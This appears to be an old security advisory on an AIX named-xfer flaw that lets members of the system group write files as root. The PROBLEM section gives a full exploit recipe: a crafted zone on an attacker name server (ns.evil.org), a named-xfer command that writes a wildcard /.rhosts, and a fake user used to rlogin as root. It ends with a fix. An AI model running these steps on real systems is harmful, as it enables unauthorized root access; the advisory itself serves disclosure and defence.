COMMAND

    named-xfer

SYSTEMS AFFECTED

    AIX 4.1.5, 4.2.1

PROBLEM

    Kyle Amon found following.   On AIX, named-xfer has the  following
    permissions...

        -r-sr-xr--   1 root     system     32578 Feb 18 1997  /usr/sbin/named-xfer

    which of  course means  that only  root and  members of the system
    group have execute permission but that (since the SUID bit is set)
    it  executes  as  root  even  when  run by non-root members of the
    system group.  So, although one would have to already be a  member
    of the system group (or manage to obtain such status) in order  to
    exploit  the  problem   described  here,  it's   still  a   rather
    significant problem.  And its much worse than the old sendmail  -C
    problem which was still exploitable in AIX up until very  recently
    when one was  a member of  the system group.   The big  difference
    here being that sendmail -C only let one read files they shouldn't
    have been able to read whereas this problem lets one write them.

    The problem  is that  named-xfer writes  it's resulting  zone file
    (when  using  the  -f  option)   without  (or  at  least   before)
    relinquishing  it's   root  privilege   (and  I   doubt  it   ever
    relinquishes  it  since  it  doesn't  really  need it in the first
    place).   So,  for  example,  if  one  were  to  set  up a zone at
    ns.evil.org  in  the  following  manner...   putting  this  in the
    named.boot file...

        primary    +       db.hack

    and giving db.hack contents as follows...

        @                IN        SOA      evil.org. nsa.evil.org. (
                                            666        ; Serial
                                            10800      ; Refresh
                                            3600       ; Retry
                                            3600000    ; Expire
                                            86400 )    ; Minimum TTL

    then run a command like this on some victim AIX machine...

        named-xfer -z + -f /.rhosts ns.evil.org

    they will put this file in root's home directory...

        -rw-r--r--   1 root     system       155 Jan  8 03:52 .rhosts

    with contents of this.

        ; zone '+'   last serial 0
        ; from 10.10.10.10   at Thu Jan  8 03:52:19 1998
        $ORIGIN .
        +               IN      SOA     evil.org. nsa.evil.org. (
                        666 10800 3600 3600000 86400 )

    All they need do then is create a user like this (anywhere)...

        IN:!:666:1::/home/IN:/bin/ksh

    and login or su to it then rlogin to victim AIX machine as root!

    Isn't that special?  So now we have reason number 9999 not to  run
    the BSD "r" commands on our machines.  Gentle reader will be  able
    to come  up with  a handfull  of others...  and the  not so gentle
    reader  will  immediately  see  possibilities  for overwriting the
    /etc/passwd file or  the kernel.   This was verified  on AIX 4.1.5
    and 4.2.1 only, but it is likely a pervasive problem.

SOLUTION

    The simple fix is that the  damn thing doesn't need it's SUID  bit
    set in order to work.

    AIX administrative groups (such as system) should only be assigned
    to users that are trusted to perform duties that ordinarily  would
    require the root password.  To put it another way, if you need  to
    use named-xfer  to get  root from  the system  group, your cracker
    license is getting stale.